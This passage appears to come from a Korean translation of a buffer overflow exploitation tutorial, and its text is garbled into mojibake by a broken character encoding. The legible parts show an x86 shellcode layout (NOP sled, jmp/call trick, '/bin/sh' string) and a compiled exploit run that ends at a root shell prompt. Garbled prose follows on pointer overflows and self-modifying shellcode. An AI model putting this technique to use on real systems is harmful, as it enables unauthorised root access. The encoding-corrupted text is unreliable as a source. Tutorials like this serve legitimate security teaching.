°¡¸®Å²´Ù. 0xbffff574 nop 0xbffff575 nop 0xbffff576 nop 0xbffff577 jmp $0x24 1 0xbffff579 popl %esi 3 <--\ | [... shellcode starts here ...] | | 0xbffff59b call -$0x1c 2 <--/ 0xbffff59e .string "/bin/shX" ÀͽºÇ÷ÎÀÕÀ» Å×½ºÆ®Çغ¸ÀÚ. # cc -o zgx zgx.c # ./zgx using address 0xbffff574 bash# 5b. ÀͽºÇ÷ÎÀÕ ÀÛ¼º¿¡ ´ëÇÑ Ãß°¡ ÆÁ ÀͽºÇ÷ÎÀÕ¿¡ °­ÇÑ ¸¹Àº ÇÁ·Î±×·¥µéÀÌ ÀÖÁö¸¸ ¿©ÀüÈ÷ Ãë¾àÇÑ´Ù. ÇÏÁö¸¸, ÇÊÅ͸µÀ̳ª ±×¿Í À¯»çÇÑ °ÍÀ» ³Ñ¾î ´ç½ÅÀÌ ÇÒ ¼ö ÀÖ´Â ¸¹Àº Æ®¸¯ÀÌ ÀÖ´Ù. ¶ÇÇÑ ¸®ÅÏ ¾îµå·¹½º¸¦ ¹Ù²ÙÁö ¾Ê°íµµ ÇÒ ¼ö ÀÖ´Â ´Ù¸¥ ¿À¹öÇ÷οì Å×Å©´Ðµéµµ ÀÖ´Ù. ¼ÒÀ§ Æ÷ÀÎÅÍ ¿À¹öÇ÷οì¶ó´Â °ÍÀÌ Àִµ¥, ÀÌ°ÍÀº ÇÔ¼ö°¡ ÇÒ´çÇÏ´Â Æ÷ÀÎÅÍ°¡ ÇϳªÀÇ ¿À¹öÇ÷ο쿡 ÀÇÇØ µ¤¾î¾²¿©Áú ¼ö ÀÖÀ¸¸ç, ÇÁ·Î±×·¥ ½ÇÇà È帧À» º¯°æÇÒ ¼ö ÀÖÀ¸¸ç(ÇÑ ¿¹°¡ RoTShB bind 4.9 exploit), ¸®ÅÏ ¾îµå·¹½º°¡ ½©È¯°æ Æ÷ÀÎÅ͸¦ °¡¸®Å°´Â ÀͽºÇ÷ÎÀÕÀÌ ÀÖÀ¸¸ç, ÀÌ°ÍÀº ½©Äڵ尡 ½ºÅûó ´ë½Å¿¡ À§Ä¡ÇÑ´Ù. ¶Ç ´Ù¸¥ °ÍÀº ÀÚ°¡ º¯°æ ÄÚµåÀÌ´Ù. ÀÌ°ÍÀº Ãʱ⿡´Â printable, non-white upper case characters·Î ±¸¼ºµÇ¾î ÀÖ¾úÁö¸¸ ±×°ÍÀÌ ½ÇÇàµÇ´Â ½ºÅÃ»ó¿¡ ½©Äڵ带 ÀÔ·ÂÇϵµ·Ï º¯°æµÈ´Ù. _______________________________________________________________________________ 6. °á·Ð °á·Ð ºÎºÐÀº ÀϹÝÀûÀÎ º¸¾È °ü·Ã ³»¿ëÀ̶ó »ý·«. ±Ã±ÝÇϽŠºÐÀº ¿ø¹® Âü°íÇϽñæ....